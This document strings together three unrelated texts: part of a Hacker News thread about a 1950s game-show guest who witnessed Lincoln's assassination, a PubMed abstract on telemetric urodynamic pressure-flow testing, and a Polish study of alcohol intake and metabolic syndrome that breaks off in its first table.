(generally) sub-thousand dollar prizes. Cash Cab
(<http://en.wikipedia.org/wiki/Cash_Cab>) comes to mind. $50 payouts on that
show are actually surprisingly common, although that is considered doing
poorly.
I suspect that the perception of the cash prize size is related to the
perceived commitment the contestant has to put forward. So they are fairly
large on shows the contestant has to go out of their way to be a part of, but
low on shows where the contestant just happens to "stumble upon" the contest.
~~~
JangoSteve
That's a very good point, and Cash Cab is sweet. Also, I was under the
impression that the people guessing in that gameshow were celebrities. Are
there any game-shows today that play for sub-thousand-dollar prizes with
celebrities?
------
kbutler
It's interesting to note links to historical events by very young observers.
The last of the civil war widows passed away only a few years ago (2008). As
young women, they married octogenarian civil war veterans - and continued
receiving the widow's pension for decades...
[http://www.radiodiaries.org/transcripts/OtherDocs/civilwar.h...](http://www.radiodiaries.org/transcripts/OtherDocs/civilwar.html)
<http://www.nytimes.com/2004/06/16/national/16widow.html>
<http://en.wikipedia.org/wiki/Maudie_Hopkins>
------
xefer
I'm reminded of this:
"Supreme Court Justice Oliver Wendell Holmes, Jr., who had served on the bench
into the nineteen-thirties, had in his long lifetime shaken hands with John
Quincy Adams and also our new incumbent, John F. Kennedy."
"Old Country" by Roger Angell. The New Yorker; September 11, 2006
[http://www.newyorker.com/archive/2006/09/11/060911ta_talk_an...](http://www.newyorker.com/archive/2006/09/11/060911ta_talk_angell)
~~~
strait
He lived long enough into the era where his speech or interview could have
been filmed. I couldn't find anything on YouTube; perhaps he was too frail by
the 1930's to be doing such things.
I like finding these old film clips featuring performances from ancient
legends.
Thomas Edison (born 1847)
[http://www.youtube.com/watch?v=Ftii6D68Veo&feature=relat...](http://www.youtube.com/watch?v=Ftii6D68Veo&feature=related)
Sir Ian Hamilton (born 1853) <http://www.youtube.com/watch?v=AlRruY4WRjw>
------
siglesias
I know this is what is referred to in Midnight in Paris as "Golden Age
Thinking," but I can't fight the feeling when I see television programs and
interviews in the 50s and 60s that the level of "popular" discourse was much
higher then than it is now. That is, interviewees of all ages are much more
well spoken, articulate, and informed. I can't imagine the panel of American
Idol judges (much less the audience) being able to drill down so quickly to a
historical event like that, or even care to take a serious crack at it. Am I
off?
Ex, a 60s era CBS documentary on rock--fair from and to both sides:
<http://www.youtube.com/watch?v=oSq1ca__cRA>
~~~
neonscribe
Did you notice the last word spoken by the host Garry Moore was "withal",
meaning "nevertheless". Can you imagine a game show host using the word today?
~~~
jerf
Yes. Or rather, the temporally-updated equivalent. Withal sounds erudite
because _now_ it's dead, and a sign of sophistication to know the word at all.
Much less so then, albeit perhaps not zero.
The problem with some modern game shows isn't vocabulary. It isn't even
necessarily spectacle _qua_ spectacle, because if they could have done it and
afforded it in the 50s their shows would have been bigger, too. Humans haven't
changed in the past 60 years. The problem with modern game shows is something
more like they have more resources than they know what to do with, competing
against ten other shows with the same "problem". I'm not convinced there's a
good argument for modern people being more relatively degenerate than people
of old... the set of which, I would remind you, _really does_ include actual,
factual people who considered combat to the death fit entertainment.
------
hugh3
"But apart from that, Mr Seymour, how was the play?"
------
hook
I think Matt Damon has a time machine.
~~~
hugh3
The Matt Damon looking guy is fifties game show fixture Bill Cullen:
<http://en.wikipedia.org/wiki/Bill_Cullen>
and he looks less Matt Damonish in higher resolution.
~~~
pyre
He looks more like Drew Carey at that resolution.
------
starpilot
On a related note, the last surviving Civil War veteran (though he never saw
combat) also died in 1956.
<http://en.wikipedia.org/wiki/Albert_Woolson>
~~~
splat
Interestingly, the last widow of a Civil War veteran died only three years
ago.
<http://en.wikipedia.org/wiki/Maudie_Hopkins>
------
ck2
It's easy to forget the United States is "only" 235 years old. Columbus sailed
over TWICE as long ago.
Some countries would laugh at that
<http://www.wolframalpha.com/input/?i=10+oldest+countries>
(added: _actually, wait a sec, Wolfram is very wrong, Portugal Italy and Spain
all existed when Columbus first sailed_ )
Mechanical steam power, automobiles, airflight, television, computers and
landing on the moon was all accomplished in that relatively tiny timeframe of
US existence.
~~~
justincormack
Italy did not exist then as a country. It was unified by Garibaldi in 1861.
Portugal is older, Spain, depends how you count it, but it was Castile and
Aragon until 1469, and Granada was reconquered in 1492...
------
scottyallen
Wow, that's truly fascinating. Seeing that 5 minute clip gives me a much
better feeling for how long ago Lincoln's death really was. Deeply
understanding timelines was always my weakness when it came to history, which
is part of why high school history was thoroughly boring to me. Now I can saw,
when my parents were 5, they saw a really old guy on TV who was 5 when he saw
Lincoln shot. A lot more digestible than 1865 or 146 years ago.
~~~
matt1
Hey, just a quick plug:
I run a web app called Preceden [1], which specializes in creating
multilayered timelines. You could easily use it to plot the significant events
in your life and anyone else's to see how they overlap. Lots of teachers use
it to solve the same problem you have had; visualizing time can be very
difficult without the right tools.
[1] <http://www.preceden.com>
Edit: Just for fun, here's a timeline of the Civil War, Mr Seymour's life, the
I've Got a Secret Episode, and today's date using Preceden:
[http://preceden.com/timelines/15108-i-ve-got-a-secret---
linc...](http://preceden.com/timelines/15108-i-ve-got-a-secret---lincoln-
assassination)
~~~
alanfalcon
Very cool tool. But it appears that the "article appears on Hacker News" is
cut off.
~~~
matt1
Thanks -- FYI you can scroll over by dragging the timeline around.
Edit: Added a 25 year zoom level to the timelines, which makes this timeline
(and I'm sure others) fit better.
------
cma
If you are older than 23, you have been around for more than 10% of the US's
history since the constitution was ratified. Pretty crazy to think about.
The oldest living American has been around for more than 50% of it.
------
dabent
The fact that I could see an eyewitness to that event was overshadowed by the
huge cigarette ads. It reminds me of the current state of online ads, only
it's huge banners for electronic cigarettes instead.
~~~
there
i'm currently reading _the master switch_ (<http://amzn.to/qvgGrx>) which
talks about how early radio and tv were forbidden to have commercials because
they were supposed to be public services, but that programs could be sponsored
like you see in the video. in early radio, companies weren't allowed to
directly mention their products, so for example, gillette's first radio ad was
a lecture on the history of beards.
after seeing that video, i much prefer commercials to that style of sponsored
programming. when a commercial comes on, you can get up and do something else,
change the channel, or mute it. with sponsored programs, everything is so
integrated that it makes it hard to ignore.
~~~
chollida1
Non minified and non link code to the above amazon link:
<http://www.amazon.com/gp/product/B003F3PKTK/>
------
DanielBMarkham
Wow, this is amazing. I can't help but want to ask him questions -- what was
DC like during and after the war? How did Marylanders view the assassination
(after all, Booth hid out in MD for most of his run.) Did the huge numbers of
Union troops make a lasting impact on DC? Did his family know people on both
sides of the war? Did he see any of the heroes from war later on in his life?
Attend a speech they made or a book-signing? Did he see Grant on any of his
famous carriage rides through the city? Know anybody who had personally spoken
with any of the presidents? (Back then you could just show up at the WH and
ask for an audience.) What did he think of the many civil war reunions and
joint parades that previous fighters from both sides participated in?
You know, there's a finite number of these questions, and they can be broken
down into an ontology and recorded. You could even make such and information
system interactive, and 3D. It's a shame we don't have startups that could
record and organize this same type of information from present-day folks who
witnessed history -- like those that saw the D-Day invasion, or the Civil
Rights movement in the U.S. We are losing precious pieces of our past, and we
have tech that could make a big difference here. We spend more time worrying
about polygon counts on shooters and less time about capturing these
incredible stories that are disappearing all around us.
~~~
matt1
Similar to this idea, Steven Spielberg established a foundation called the
Survivors of the Shoah Visual History Foundation to interview holocaust and
warcrime survivors. According to their about page, they've done over 52,000
video testimonials so far.
You can check it out on the University of Southern California's website here:
<http://dornsife.usc.edu/vhi/>
------
tormentor
Its amazing we actually got to see an eyewitness of something this historical
on tv. The fact that tech had evolved this fast in this man's 96 years of life
is amazing in itself. Just imagine going from a time where you didn't have
electricity in your home to having a camera recording you. The cigarette ads
are irrelevant.
|
{
"pile_set_name": "HackerNews"
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|
Novel natural fill telemetric pressure flow study of discomfort and bladder outlet obstruction.
We evaluated the accuracy of natural fill telemetric pressure flow study performed in a private room, and assessed patient discomfort and experience after the procedure compared to those of standard pressure flow study. In 58 patients with lower urinary tract symptoms/benign prostatic hyperplasia free uroflowmetry, and natural fill telemetric and standard pressure flow studies were prospectively performed. Immediately after each step patients were asked to rate the experience in terms of pain, embarrassment, bother, boredom and repeat testing. Subjective items and objective urodynamic parameters were compared among the 3 tests. Maximum urine flow on natural fill telemetric pressure flow study was not different from that on free uroflowmetry. In contrast, maximum flow, detrusor pressure at maximum flow and bladder contractility index on the standard pressure flow study were significantly lower than on the natural fill pressure flow study. However, the bladder outlet obstruction index was not significantly different between the 2 studies, and the bladder outlet obstruction and bladder contractility indexes correlated well. There were also no differences in bother and embarrassment scores. However, natural fill telemetric pressure flow study was superior in terms of pain and boredom scores. Patients were more willing to undergo repeat natural fill telemetric pressure flow study than standard pressure flow study. Time to complete the test was significantly shorter for the natural fill study than for the standard study. Flow rate differences between pressure flow studies and free uroflowmetry are not due to mechanical obstruction by the catheter but to other factors, such as the bladder filling method. Objective parameters on the natural fill telemetric pressure flow study correlated with standard pressure flow study findings. The natural fill telemetric pressure flow study shortened the time needed for the test and may decrease the discomfort of the standard pressure flow study.
|
{
"pile_set_name": "PubMed Abstracts"
}
|
1. Introduction {#sec1-nutrients-11-02764}
===============
Alcohol intake is one of the seven main risk factors in the world for both deaths and disability adjusted life years (DALYs) \[[@B1-nutrients-11-02764]\]. Its consumption is associated with more than 60 acute and chronic diseases. Some studies, however, point out the protective effects of alcohol in cardiovascular diseases \[[@B2-nutrients-11-02764],[@B3-nutrients-11-02764],[@B4-nutrients-11-02764]\], diabetes \[[@B5-nutrients-11-02764],[@B6-nutrients-11-02764]\], and kidney cancer \[[@B7-nutrients-11-02764]\].
The association between drinking alcohol and the prevalence of metabolic syndrome (MetS) and its components is not consistent. One prospective study found a linear increase in metabolic syndrome risk with an increase in alcohol consumption \[[@B8-nutrients-11-02764]\]. Park showed that alcohol consumption is associated with a higher incidence of MetS in men. However, no such association was found in women \[[@B9-nutrients-11-02764]\]. In a longitudinal study of older people, alcohol consumption was not associated with the prevalence and incidence of MetS compared with abstainers in both sexes. In men, however, there was an adverse effect of alcohol on glycemia, waist circumference, and systolic blood pressure \[[@B10-nutrients-11-02764]\]. Alkerwi et al. found, however, that moderate alcohol intake reduced the prevalence of MetS, while in women the beneficial effect of alcohol was noted at a dose twice lower than that in men \[[@B11-nutrients-11-02764]\]. In a study conducted by Stoutenberg et al., alcohol reduced the risk of MetS in men at every level of intake \[[@B12-nutrients-11-02764]\]. There were also links between moderate and heavy alcohol consumption and a high concentration of fasting glucose and a reverse dose-response association between alcohol and a low concentration of high-density lipoproteins (HDL)-cholesterol. Alcohol intake was not significantly associated with abdominal obesity, hypertension, and elevated triglyceride concentration. Freiberg et al. showed that moderate alcohol consumption was associated with a lower incidence of MetS and a favorable effect on serum lipid concentration and waist circumference \[[@B13-nutrients-11-02764]\].
Patterns of alcohol consumption and their relationships with health may vary in different populations, depending on age, sex, ethnicity, cultural traditions, socioeconomic status and lifestyle \[[@B14-nutrients-11-02764],[@B15-nutrients-11-02764],[@B16-nutrients-11-02764]\]. The results of previous studies have shown that moderate alcohol consumption was in many populations associated with a lower prevalence of cardiovascular disease (CVD), and a lower mortality due to them \[[@B2-nutrients-11-02764],[@B4-nutrients-11-02764]\]. Because the presence of MetS leads to an increased risk of CVD, we hypothesized that the association between alcohol consumption and the prevalence of MetS will be similar to that for CVD, i.e., moderate consumption will be associated with a lower odds ratio of MetS. Here, our aim was to examine the relationship between the current consumption of alcoholic beverages and the prevalence of MetS and its components in men and women from the Świętokrzyskie region in Poland.
2. Subjects and Methods {#sec2-nutrients-11-02764}
=======================
2.1. Study Design and Sample Collection {#sec2dot1-nutrients-11-02764}
---------------------------------------
The research material that was analyzed was the data of 13,172 participants of the PONS project (Polish-Norwegian Study), which was carried out in the years 2010 to 2012 in the Świętokrzyskie region in Poland. Men and women aged 37--66 participated in this cross-sectional study regarding health. We have described in detail the recruitment process as well as the research method and techniques used in previous papers \[[@B17-nutrients-11-02764],[@B18-nutrients-11-02764]\]. The project involved biochemical and anthropometric measurements. The sociodemographic data of the participants and information on health and lifestyle were collected in face-to-face interviews using structured questionnaires. Out of the 13,172 people who volunteered for the study, the data of 12,285 participants (66.7% women) were used for further analysis. The remaining 887 subjects were rejected due to a lack of complete data.
2.2. Ethical Approval {#sec2dot2-nutrients-11-02764}
---------------------
The Ethics Committee from the Cancer Centre and Institute of Oncology in Warsaw approved the study (No. 69/2009/1/2011). Permission to analyze the above data was issued in 2016 by the Committee on Bioethics at the Faculty of Health Sciences, Jan Kochanowski University, Kielce, Poland, (No. 45/2016).
2.3. Biochemical Profiling and Anthropometric Measurements {#sec2dot3-nutrients-11-02764}
----------------------------------------------------------
All laboratory analyses of fasting plasma glucose, triglycerides (TGs) and high-density lipoprotein cholesterol (HDL-cholesterol) concentrations were performed in one hospital laboratory that meets the standards of the National Reference Laboratory. The glucose concentration in the blood serum was measured using the enzyme method with hexokinase. The concentration of TGs was assessed using the enzymatic method, with phosphoglycerol oxidase and determination of H~2~O~2~ (with peroxidase). The concentration of HDL-cholesterol was obtained using the colorimetric non-precipitation method with polyethylene glycol modified enzymes (PEG method, Kyowa, Medex). The laboratory tests were performed with the Integra 800 instrument (La Roche Diagnostics, Switzerland). The coefficient of variation (CV) for the parameters determined in the internal quality control were 1.7% for glucose, 2.7% for HDL-cholesterol, and 1.5% for TG. The variation coefficient of the CV (V2) corrected set in the external quality control for the methods used in the study was as follows: For glucose, 2.5%, for HDL-cholesterol, 4.6% and for TG, 2.5%. The internal quality control of the tested parameters was based on the following control materials: PreciControl ClinChem Multi 1, reference number: 05947626190; PreciControl ClinChem Multi 2, reference number: 05947774190. A blood pressure (BP) measurement on the right upper limb artery in a sitting position was performed twice. Here, anthropometric measurements included body height measurements, using a stadiometer (SECA GmbH & Co., Hamburg, Germany). To measure body weight, a body composition analyzer (Tanita S.C. 240MA, Tokyo, Japan) was used, and waist circumference was understood as half the distance between the lower edge of the rib and the upper iliac crest, which was measured with a non-elastic metric tape measure. The assumed measuring accuracy was 0.1 cm and 0.1 kg. Body height and weight measurements were used to calculate the body mass index (BMI, kg/m^2^).
2.4. MetS Definition {#sec2dot4-nutrients-11-02764}
--------------------
MetS was defined according to the International Diabetes Federation (IDF) Task Force for Epidemiology and Prevention guidelines. MetS classification, according to IDF, unlike other classifications, takes into account ethnic differences of waist circumferences. Due to the lower cut-off points defining abdominal obesity, this classification allows earlier diagnosis of MetS, i.e., with less excess weight. It also identifies individuals with MetS who have the correct BMI more accurately. MetS was diagnosed for subjects with at least three of five of the following components: Abdominal obesity (waist circumference ≥94 cm in men and ≥80 cm in women), elevated BP (systolic BP ≥130 and/or diastolic BP ≥85 mm, Hg or antihypertensive drug treatment, or previously diagnosed hypertension), elevated fasting glucose (≥100 mg/dL or drug treatment of elevated glucose or previously diagnosed type 2 diabetes), hypertriglyceridemia (≥150 mg/dL or drug treatment for elevated TG or previously diagnosed dyslipidemia), and reduced HDL-cholesterol (\<40 mg/dL in men, \<50 mg/dL in women, or drug treatment for reduced HDL-cholesterol or previously diagnosed dyslipidemia) \[[@B19-nutrients-11-02764]\]. The following drugs were included in the treatment of MetS components in the case of hypertension: Beta-blockers, angiotensin-converting enzyme inhibitors, angiotensin receptor blockers, and calcium channel blockers. In the case of type 2 diabetes, oral hypoglycemic agents, insulin, and incretin drugs were administered subcutaneously. In the case of dyslipidemia, statins and fibrates were used.
2.5. Alcohol Consumption {#sec2dot5-nutrients-11-02764}
------------------------
Alcohol intake was obtained using a standardized questionnaire that included questions on the participants usual consumption of vodka, beer, and wine during the previous year. For every participant, a daily intake of pure ethanol was calculated. The calculation took into account the average content of ethanol in each type of drink consumed and the frequency of its consumption. Since there are significant differences in the amount of alcohol consumed by men and women, different categories of consumption in both sexes were used in the analysis. All individuals were divided into five groups: Nondrinkers (participants who did not drink any alcohol during the previous 12 months) and drinkers, in bands of 0.1--10.0, 10.1--20.0, 20.1--30.0, and \>30.0 g of ethanol/day in men, and 0.1--5.0, 5.1--10.0, 10.1--15.0, and \>15 g of ethanol/day in women.
2.6. Sociodemographic and Lifestyle Data {#sec2dot6-nutrients-11-02764}
----------------------------------------
The sociodemographic variables included sex, age (years), education (total number of education years), and marital status (married or in a stable relationship, single, or a widow/widower). Subjects were classified as current, former, and non-smokers. Current smokers were respondents who smoked cigarettes every day during the study, former smokers were those who had not smoked for longer than six months. The rest of the participants comprised the group of non-smokers. As one serving of coffee, one standard 250 mL mug was adopted. Physical activity (PA) was evaluated with the use of the International Physical Activity Questionnaire (IPAQ). Here, the IPAQ was used to collect information on the frequency and duration of all physical activities (intensive, moderate, and walking) done by respondents during the last week, connected with their professional work, housework, active movement, recreation, and sports. Total PA was presented in metabolic equivalents (MET/min/week^−1^) \[[@B20-nutrients-11-02764]\].
2.7. Statistical Analyses {#sec2dot7-nutrients-11-02764}
-------------------------
All continuous variables were expressed as means and standard deviations (X ± SD). The categorical variables were reported as frequencies and percentages (*n*, %). Differences in baseline characteristics between individuals with diagnosed MetS and the control group were evaluated through the Mann--Whitney U test or the chi-square test, depending on the distribution of each feature. The analyses were performed separately for both sexes. The multivariate logistic regression analyses were used to estimate the odds ratios (ORs) and 95% confidence intervals (CIs) for the prevalence of MetS. Non-drinkers were adopted as the reference group. Analyses were repeated with each MetS component in the binary form, based on standardized cutoff values (0 = normal, 1 = abnormal). Three models were adopted in the logistic regression analysis: Model I---unadjusted; model II---adjusted for age, education, physical activity, coffee consumption (continuous variables) and marital status (married or in a relationship; single or a widow/widower), smoking (current, past or never); and Model III---additionally adjusted for BMI. A *p* value \<0.05 was assumed statistically significant for all calculations. All data were analyzed using the Statistical Package Statistica software (version 13.1, StatSoft, Warsaw, Poland).
3. Results {#sec3-nutrients-11-02764}
==========
Men who were diagnosed with MetS were slightly older, more often married or living in stable relationships, had a heavier weight and higher BMI, more often had abdominal obesity, high BP, increased concentration of glucose and TG and a reduced HDL-cholesterol concentration, compared to men from the control group ([Table 1](#nutrients-11-02764-t001){ref-type="table"}). However, they did not differ significantly in their level of education. Men with MetS more often consumed larger amounts of alcohol (\>30.0 g/day), more often were former smokers, but also more non-smokers, compared with men from the control group. Women who were diagnosed with MetS were older, characterized by lower education and were less likely to be married or living in a stable relationship, compared to those in the control group. Women with MetS had significantly greater mass and BMI, more often had abdominal obesity, high BP, increased concentration of glucose and TG, and decreased HDL-cholesterol concentration compared to women in the control group. In the group with MetS there were more non-drinkers, but no significant differences were noted in the percentage of current and former smokers. Both men and women with MetS drank less coffee and were less physically active compared to participants in the control group.
In the group of men currently consuming the largest amounts of alcohol, (\>30 g/day) the risk of MetS was significantly higher compared to non-drinkers in all three models ([Table 2](#nutrients-11-02764-t002){ref-type="table"}). In women, with the increase of alcohol consumption MetS risk decreased, but only in the unadjusted model. The inclusion of confounding variables caused that the association was no longer statistically significant.
The highest alcohol consumption in men (\>30 g/day) was associated with a greater risk of abdominal obesity, but only in model II, which adjusted for age, marital status, education, smoking, drinking coffee and physical activity ([Table 3](#nutrients-11-02764-t003){ref-type="table"}). The addition of BMI to the model meant that this relationship ceased to be statistically significant. In women, the risk of abdominal obesity was lower at every level of alcohol consumption, but only in the unadjusted model.
Consumption of more than 30 g of alcohol per day increased the risk of high blood pressure in men in all three models ([Table 4](#nutrients-11-02764-t004){ref-type="table"}). In women, drinking 0.1 to 10 g of alcohol per day was associated with a reduced risk of high blood pressure compared to non-drinkers in the unadjusted model. In both adjusted models there was no significant relationship between alcohol consumption and BP.
The highest alcohol consumption significantly increased the risk of elevated glucose concentration in all three models in men ([Table 5](#nutrients-11-02764-t005){ref-type="table"}). In women in the unadjusted model, consumption of more than 15 g of alcohol/day significantly reduced the risk of elevated glucose concentration, while consumption of 10.1--15.0 g increased the risk in both adjusted models.
In men who drink \>10 g alcohol/day, the risk of reduced HDL-cholesterol concentration decreased significantly with the increase in intake in both the unadjusted model and the two adjusted models ([Table 6](#nutrients-11-02764-t006){ref-type="table"}). In women, in the unadjusted model, at every level of alcohol consumption, the risk of decreased HDL-cholesterol concentration was significantly lower than in non-drinkers. In model II, a similar relationship was found in the group of drinkers \>5 g, and in the group of drinkers \>15 g alcohol/day in model III.
There were no significant relationships between alcohol consumption and triglyceride concentration in men ([Table 7](#nutrients-11-02764-t007){ref-type="table"}). In women, the concentration of triglycerides was lower at every level of alcohol consumption in comparison to non-drinking only in the unadjusted model.
4. Discussion {#sec4-nutrients-11-02764}
=============
The study shows the existence of links between the current alcohol consumption and MetS risk, but the strength and direction of these relationships may differ in both sexes and may be different for individual MetS components. In the analysis, we adopted a half-dose of alcohol for women compared to men due to differences in body composition and alcohol metabolism between men and women. Nevertheless, we did not find in women, similar to men, an increased risk of MetS and its components (except glucose) in the highest categories of alcohol consumption. This may be due to the fact that women drinking more than 10 g of ethanol/day were more than three times less prevalent than men drinking more than 20 g of ethanol/day respectively. The increased risk of MetS in the highest category of alcohol consumption in men, and the lack of such association in women, may also be the result of other behaviors in the women surveyed which are more favorable to health, e.g., a lower percentage of current and former smokers, as well as a healthier diet. The results of other authors are also quite diverse. In the Korean population, consumption of 0.1 to 5.0 g of alcohol/day was associated with a significantly lower prevalence of MetS \[[@B21-nutrients-11-02764]\]. However, Alkerwi et al., in the meta-analysis of observational studies, noted that an intake of \<40 g alcohol/day in men and \<20 g in women significantly reduces the risk of MetS \[[@B11-nutrients-11-02764]\]. Wakabayashi et al. found that the risk of MetS was the lowest in subjects drinking \<22 g of alcohol/day in both sexes \[[@B22-nutrients-11-02764]\]. The results of our analyses indicate that similar associations were found only in women in the unadjusted model. In an earlier study conducted in Poland, it was also not noted that drinking alcohol was associated with a lower risk of MetS in men \[[@B23-nutrients-11-02764]\]. It was only observed that a lower probability of MetS appeared in women in the highest quartile of alcohol consumption. The authors mentioned, however, that the overall amount of alcohol consumed by women in this study was small, as with 90% of them, the consumption did not exceed 3 g of ethanol per day. The results of our research are, at least partially, in line with the results of a meta-analysis of prospective studies, which proved that heavy consumption of alcohol, i.e., \>35 g/day, is associated with higher MetS risk \[[@B24-nutrients-11-02764]\]. Also, Bermudez et al. confirmed in a multivariate analysis that men consuming 28.41--47.33 g alcohol/day had an increased risk of MetS \[[@B25-nutrients-11-02764]\]. Barrio-Lopez et al. found an increased risk of MetS in those who drink ≥7 drinks/week, which was mainly due to beer consumption \[[@B26-nutrients-11-02764]\]. There was no significant link between drinking wine or liquor and MetS. Lee et al. have indicated, however, that the average frequency of drinking is not associated with the prevalence of MetS in any of the sexes, while a factor which positively correlated with some of the MetS components was the frequency of binge drinking \[[@B27-nutrients-11-02764]\].
The results of the research on the relationship between alcohol consumption and individual MetS components are also ambiguous. Freiberg et al. showed a lower risk of abdominal obesity in both drinkers of ≥1 and ≥20 alcoholic drinks per month, compared to drinkers of \<1 alcoholic drink/month \[[@B13-nutrients-11-02764]\]. In turn, Lourenço et al. found an increased risk of abdominal obesity in women who drink 15.1--30 g/day and \>30 g/day and in men who drink \>60g/day, compared to non-drinkers \[[@B28-nutrients-11-02764]\]. This relationship appeared with a much higher alcohol consumption than in the population we studied. Similarly, the adverse effect of alcohol on the waist circumference was observed in older men (i.e., those aged 65--84 years), but in women no similar relationship was observed \[[@B10-nutrients-11-02764]\]. Alcohol consumption may probably contribute to excessive weight gains in some people as a result of increased energy supply from alcoholic beverages \[[@B29-nutrients-11-02764]\]. Schröder et al. have stated that after controlling for energy under-reporting, drinking more than 30 g of ethanol per day significantly increases the risk of exceeding the recommended energy intake for men \[[@B30-nutrients-11-02764]\]. Alcohol can also contribute to abdominal obesity through non-calorie-related mechanisms, such as changes in the concentration of steroid hormones that may cause central fat storage \[[@B31-nutrients-11-02764]\]. Ambiguous associations between alcohol consumption and abdominal obesity may also result from various effects caused by different alcoholic beverages. Vadstrup et al. found that moderate or high consumption of beer and spirits were associated with an increased waist circumference, while consumption of moderate-to-high amounts of wine had the opposite effect \[[@B32-nutrients-11-02764]\].
Yoon et al. observed that the daily intake of ≥30 g of alcohol increased blood pressure in men \[[@B33-nutrients-11-02764]\], which is consistent with the results of the studies in our population. Meta-analysis of trials conducted by Roerecke et al. confirmed that a reduction in alcohol consumption reduces BP in a dose-dependent manner \[[@B34-nutrients-11-02764]\]. For people who drank more than 2 alcoholic drinks a day, a decrease in alcohol consumption was associated with a significant reduction in BP. The authors emphasize that the above associations are less documented in women \[[@B34-nutrients-11-02764]\].
Stoutenberg et al. observed links between moderate and heavy alcohol consumption and a high concentration of fasting glucose in men \[[@B12-nutrients-11-02764]\], while in the Korean population it was found that heavy alcohol consumption was associated with a high glucose concentration in women \[[@B21-nutrients-11-02764]\]. Nygren et al. found that binge drinking and total alcohol consumption were associated with increased glucose concentration in women in Sweden \[[@B35-nutrients-11-02764]\]. On the other hand, in some studies, a beneficial effect of the intake of moderate amounts of alcohol on the risk of diabetes has been observed \[[@B5-nutrients-11-02764],[@B6-nutrients-11-02764]\]. Huang et al. have associated the varied risk of diabetes in the studies of various authors with the type of alcoholic beverages they drink \[[@B36-nutrients-11-02764]\]. These authors have shown that drinking wine can have a much stronger protective effect on the risk of type 2 diabetes than beer or spirits. The increased risk of abnormal fasting glucose concentration in our studies may partly result from the fact that the pattern of consumption of alcoholic beverages in Poland is dominated by beer, which provided more than 50% of alcohol consumed in total \[[@B37-nutrients-11-02764]\]. In the second place there are spirits, providing over 30% of consumed alcohol. The lowest is consumption of wine, which is attributed the greatest health benefits among alcoholic beverages \[[@B38-nutrients-11-02764],[@B39-nutrients-11-02764]\].
Current research suggests that the relationship between alcohol consumption and triglyceridemia is J-shaped, and triglyceridemia is lowest in people who drink 10--20 g/alcohol per day \[[@B40-nutrients-11-02764]\]. In the men we examined, there was a similar (but not significant) tendency in the highest analyzed category of alcohol consumption. In a study previously carried out in Poland, with the increase in alcohol consumption, a reduced likelihood of elevated triglycerides among women was observed \[[@B23-nutrients-11-02764]\]. However, the results of our research are consistent with the results of the meta-analysis carried out in 2011 \[[@B41-nutrients-11-02764]\]. Its authors also did not confirm the significant effect of alcohol on TG concentration. This may be due to the fact that the consumption of moderate amounts of alcohol may increase lipoprotein lipase activity, and thus influence triglyceridemia \[[@B40-nutrients-11-02764]\].
In a long-term 6-year study, a non-linear, umbrella-shaped relationship between alcohol consumption and HDL-cholesterol concentration was reported \[[@B42-nutrients-11-02764]\]. HDL-cholesterol concentration was the lowest in people who consumed moderate amounts of alcohol (1--2 servings/day in men and 0.5--1.0 servings/day in women). The umbrella-shaped relationship was the result of consumption of mainly hard liquor, and not of beer, where the relationship changes in HDL-cholesterol concentration were linear. In cross-sectional analysis, the authors observed a dose-dependent relationship response between higher alcohol consumption and higher baseline HDL-cholesterol levels, which is consistent with the results of our research. Similar results were obtained by most other authors \[[@B21-nutrients-11-02764],[@B23-nutrients-11-02764],[@B24-nutrients-11-02764],[@B33-nutrients-11-02764]\]. Alcohol intake may increase the concentration of HDL-cholesterol, probably by increasing liver production and/or the transport rate of HDL apolipoproteins apoA-I and apoA-II, as well as by increasing cellular cholesterol outflow and cholesterol esterification in plasma \[[@B43-nutrients-11-02764],[@B44-nutrients-11-02764],[@B45-nutrients-11-02764]\].
The limitation of this study is, above all, the cross-sectional design of the study. There is also the risk of imprecisely determining the amount and frequency of alcoholic beverages drunk by the study participants. In addition, among non-drinkers, we were unable to separate recent abstainers from lifetime abstainers. Interpreting the results regarding the relationship between alcohol consumption and MetS risk may also be hindered by the multidirectional effects of alcohol on individual components whose MetS is a compilation. Sun et al. even suggest that it is more appropriate to estimate the impact of alcohol consumption on individual components than on MetS as a whole \[[@B24-nutrients-11-02764]\]. In addition, the obtained results may be influenced by the differences in the utilization of alcohol in the body related to sex \[[@B46-nutrients-11-02764],[@B47-nutrients-11-02764]\], ethnicity \[[@B48-nutrients-11-02764],[@B49-nutrients-11-02764],[@B50-nutrients-11-02764],[@B51-nutrients-11-02764]\], and different effects caused by particular types of alcoholic beverages dominating in the consumption structure of a given population \[[@B32-nutrients-11-02764],[@B36-nutrients-11-02764],[@B38-nutrients-11-02764],[@B39-nutrients-11-02764]\]. The limitation of our work is also the lack of data on the energy value of diets and nutrient intake, which may affect the spread of MetS. The strength of the study is taking into account a large number of confounders associated with MetS and its components, and a large number of participants (over 12,000), who are homogeneous in terms of their age and ethnicity.
5. Conclusions {#sec5-nutrients-11-02764}
==============
In men, a current consumption \>30 g of alcohol per day was significantly associated with a higher risk of MetS, high blood pressure, increased glucose concentration, and abdominal obesity. In women, alcohol consumption from 10.1 to 15.0 g was only associated with a greater risk of abnormal glucose concentration. In both sexes, current alcohol consumption was associated with a higher concentration of HDL-cholesterol, while no significant associations between alcohol intake and triglyceride concentration were found.
It is difficult to formulate unequivocal recommendations regarding alcohol consumption in MetS prophylaxis due to its different impact on particular MetS components. In order to explain the causal relationship between alcohol consumption and the metabolic syndrome and its components, prospective studies are necessary.
The data collection was supported by the Maria Sklodowska-Curie Institute of Oncology in Warsaw (Poland) and the Polish-Norwegian Foundation Research Fund.
Conceptualization, E.S., D.K., E.C., D.R., M.G.-O. and S.G. Formal analysis, E.S., E.C., M.G.-O. Funding acquisition, E.S., D.K. and S.G. Methodology, E.S., E.C. and S.G. Project administration, D.R. Software, E.C. Supervision, E.S. and S.G. Writing -- original draft, D.K., D.R. and M.G.-O.
The project is supported under the program of the Minister of Science and Higher Education under the name "Regional Initiative of Excellence" in 2019--2022, project number: 024/RID/2018/19, financing amount: 11.999.000,00PLN.
The authors declare no conflict of interest.
nutrients-11-02764-t001_Table 1
######
Sociodemographic characteristics and lifestyle habits of men and women.
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Parameters Men Women
------------------------------------------------------------------------------------------------ --------------------- ----------------- ----------------- ----------------- ----------------- ----------------- -----------------
**Age (years) (X ± SD)** 55.14 ± 5.50 56.68 (5.24) **\<0.001** ^a^ 54.33 ± 5.33 57.18 ± 4.92 **\<0.001** ^a^
Education (years) (X ± SD) 13.30 ± 3.22 13.13 ± 3.17 **0.084** ^a^ 13.67 ± 3.14 12.66 ± 3.12 **\<0.001** ^a^
